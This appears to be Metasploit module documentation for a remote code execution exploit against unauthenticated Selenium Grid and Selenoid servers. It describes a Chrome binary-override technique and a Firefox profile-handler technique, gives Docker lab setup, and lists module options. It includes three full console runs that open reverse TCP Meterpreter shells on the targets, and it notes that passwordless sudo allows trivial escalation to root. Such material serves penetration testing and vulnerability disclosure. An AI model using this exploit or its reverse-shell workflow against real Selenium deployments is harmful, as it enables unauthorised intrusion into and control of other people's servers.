documentation/modules/exploit/linux/http/selenium_greed_rce.md
Selenium Grid and Selenoid expose a WebDriver API that allows creating browser sessions with arbitrary capabilities. When deployed without authentication (the default for both), an attacker can achieve remote code execution through two browser-specific techniques:
Chrome (binary override): The goog:chromeOptions binary field can be set to an
arbitrary executable such as /usr/bin/python3, since ChromeDriver does not validate it.
This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge. All Selenoid
versions remain vulnerable.
Firefox (profile handler): A custom profile containing a malicious MIME handler that maps
application/sh to /bin/sh can be injected via moz:firefoxOptions. Navigating to a
data: URI with that content type triggers shell execution. This technique has never been
patched and works on all Selenium Grid versions including the latest release (4.40.0 at the
time of writing). This was originally reported in
SeleniumHQ/selenium#9526 in May 2021.
The module auto-detects available browsers and selects the best attack vector. Firefox is preferred as it works on all Grid versions.
The default Docker images run as seluser/selenium with passwordless sudo, allowing
trivial privilege escalation to root.
The vulnerability affects:
* Selenium Grid < 4.11.0 with Chrome nodes (binary override)
* Selenium Grid - all versions with Firefox nodes (profile handler, unpatched)
* Selenoid - all versions with Chrome or Firefox (project archived December 2024)
This module was successfully tested on:
* selenium/standalone-chrome:4.10.0 on Ubuntu 24.04 (Chrome binary override)
* selenium/standalone-firefox:4.10.0 on Ubuntu 24.04 (Firefox profile handler)
* selenium/standalone-firefox:latest (4.40.0) on Ubuntu 24.04 (Firefox profile handler)
* Selenoid 1.11.3 with selenoid/chrome:128.0 on Ubuntu 24.04 (Chrome binary override)
docker pull selenium/standalone-firefox:latest
docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-firefox:latest
docker pull selenium/standalone-chrome:4.10.0
docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-chrome:4.10.0
browsers.json:{
"chrome": {
"default": "128.0",
"versions": {
"128.0": {
"image": "selenoid/chrome:128.0",
"port": "4444",
"path": "/"
}
}
}
}
docker pull selenoid/chrome:128.0
Start Selenoid:
docker run -d -p 4444:4444 \
-e DOCKER_API_VERSION=1.44 \
-v $(pwd)/browsers.json:/etc/selenoid/browsers.json:ro \
-v /var/run/docker.sock:/var/run/docker.sock \
aerokube/selenoid:latest-release
use exploit/linux/http/selenium_greed_rceset RHOSTS <rhost>set LHOST <lhost>runBrowser to exploit. Default is auto which detects available browsers and picks the
best vector (Firefox preferred, Chrome fallback). Can be set to firefox or chrome
to force a specific browser.
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4480
LPORT => 4480
msf6 exploit(linux/http/selenium_greed_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/selenium_greed_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set FETCH_SRVPORT 9100
FETCH_SRVPORT => 9100
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4480
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.40.0 with Firefox (all versions vulnerable to profile handler)
[*] Auto-selected Firefox (profile handler - works on all Grid versions)
[*] Creating Firefox session with malicious profile...
[*] Session created: 74d019ac-e7eb-4604-9c48-80baf43da5d9
[*] Navigating to data: URI to trigger handler...
[*] Sending stage (3090404 bytes) to 172.17.0.5
[+] Deleted /tmp/EUeiCPJfsLF
[*] Meterpreter session 1 opened (172.17.0.1:4480 -> 172.17.0.5:37004)
meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer : 56a95484dc83
OS : Linux 6.14.0-123037-tuxedo
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4481
LPORT => 4481
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4481
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.10.0 with Chrome (vulnerable to binary override)
[*] Auto-selected Chrome (binary override)
[*] Sending Chrome session request with binary override...
[*] Sending stage (23404 bytes) to 172.17.0.7
[*] Meterpreter session 1 opened (172.17.0.1:4481 -> 172.17.0.7:50292)
meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer : 90f5a4eefae5
OS : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter : python/linux
meterpreter >
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4453
LPORT => 4453
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4453
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenoid 1.11.3 built at 2024-05-25_12:34:40PM (all versions vulnerable)
[*] Auto-selected Chrome (binary override)
[*] Sending Chrome session request with binary override...
[*] Sending stage (23408 bytes) to 172.17.0.10
[*] Meterpreter session 1 opened (172.17.0.1:4453 -> 172.17.0.10:42984)
meterpreter > getuid
Server username: selenium
meterpreter > sysinfo
Computer : 669a719f93da
OS : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter : python/linux
meterpreter >